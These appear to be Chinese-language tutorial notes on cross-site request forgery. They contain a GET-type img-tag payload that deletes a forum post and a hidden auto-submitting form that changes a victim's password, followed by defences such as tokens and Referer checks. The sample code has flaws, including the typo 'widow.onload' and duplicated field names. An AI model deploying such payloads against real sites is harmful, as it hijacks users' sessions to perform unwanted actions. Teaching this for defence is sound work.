CSRF
当你登录某个网站时,通常浏览器与网站都会形成一个会话,在会话没有结束时你可以执行
发表文章、发邮件、删除文章等操作,若会话结束,你再操作的话会提示你会话已经结束,
请重新登录。
CSRF(客户端跨站请求伪造)就是:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾认证过的网站并执行
一些操作。也可以说CSRF就是黑客利用受害者的Cookie骗取服务器的信任从而执行一些操作。
CSRF和SSRF都不能盗取Cookies
XSS区别
XSS利用的是用户对指定网站的信任
CSRF利用的是网站对用户网页浏览器的信任
利用
利用条件:
1.攻击者可以得知url的所有参数项并了解其含义。
2.诱导用户访问构造好的payload
3.简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
利用地方:
1.操作是有意义的(比如:修改密码等)
2.验证过于简单(参数固定、我们可以设置参数)
GET型CSRF攻击
若有论坛www.aa.com,论坛删除文章的操作是请求类似
http://www.aa.com/opt.php?id=135&act=del&name=Tom的链接
有用户A,他登录了论坛,且有篇文章id=251,那么他的浏览器此时已经取得了论坛的信任
此时有hacker用户B,他构造了一个src跳转html为b.html,b,html内容如下:
<html> <head> <title>test</title> </head> <body> <img src="http://www.aa.com/opt.php?id=251&act=del&name=A" /> </body> </html>
恶意用户B将链接http://www.bb.com/b.html通过qq发送给用户A,诱使他访问,用户A一旦访问,他id为251的文章就会被删除。
POST型CSRF攻击
若网站www.xx.com有让用户修改密码的功能,但验证过于简单,形如下图:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>aa</title>
</head>
<body>
<form action="http://172.23.10.200/index.php/User/Index/RegisterUpdate/id/286" method="post">
昵称:<input type="text" name="password" id="password" class="form-control" value="xxxxx">
用户名:<input type="text" name="password" id="password" class="form-control" value="xiaoming">
密码:<input type="password" name="password" id="password" class="form-control" value="">
确认密码:<input type="password" name="cpassword" id="conpassword" class="form-control" value="">
<input type="submit" name="button" value="提交">
</form>
</body>
</html>此时我们就可以构造自动提交表单的xxxx.html,内容如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>test</title> </head> <body> <form action="http://172.23.10.200/index.php/User/Index/RegisterUpdate/id/286" method="post" id="test"> <input type="hidden" name="password" id="password" value="666666"> <input type="hidden" name="cpassword" id="conpassword" value="666666"> </form> <script type="text/javascript"> widow.onload= function(){ document.getElementById('test').submit(); // document.forms[0].submit(); } </script> </body> </html>
防御
1.二次确认(如删除用户,转账等重要操作弹窗要求用户确认)
2.Token认证
GET操作请求:可以在Cookie中存储Token
POST操作请求:可以在form表单中添加一个隐藏的input标签,value值为Token
3.验证Referer
资料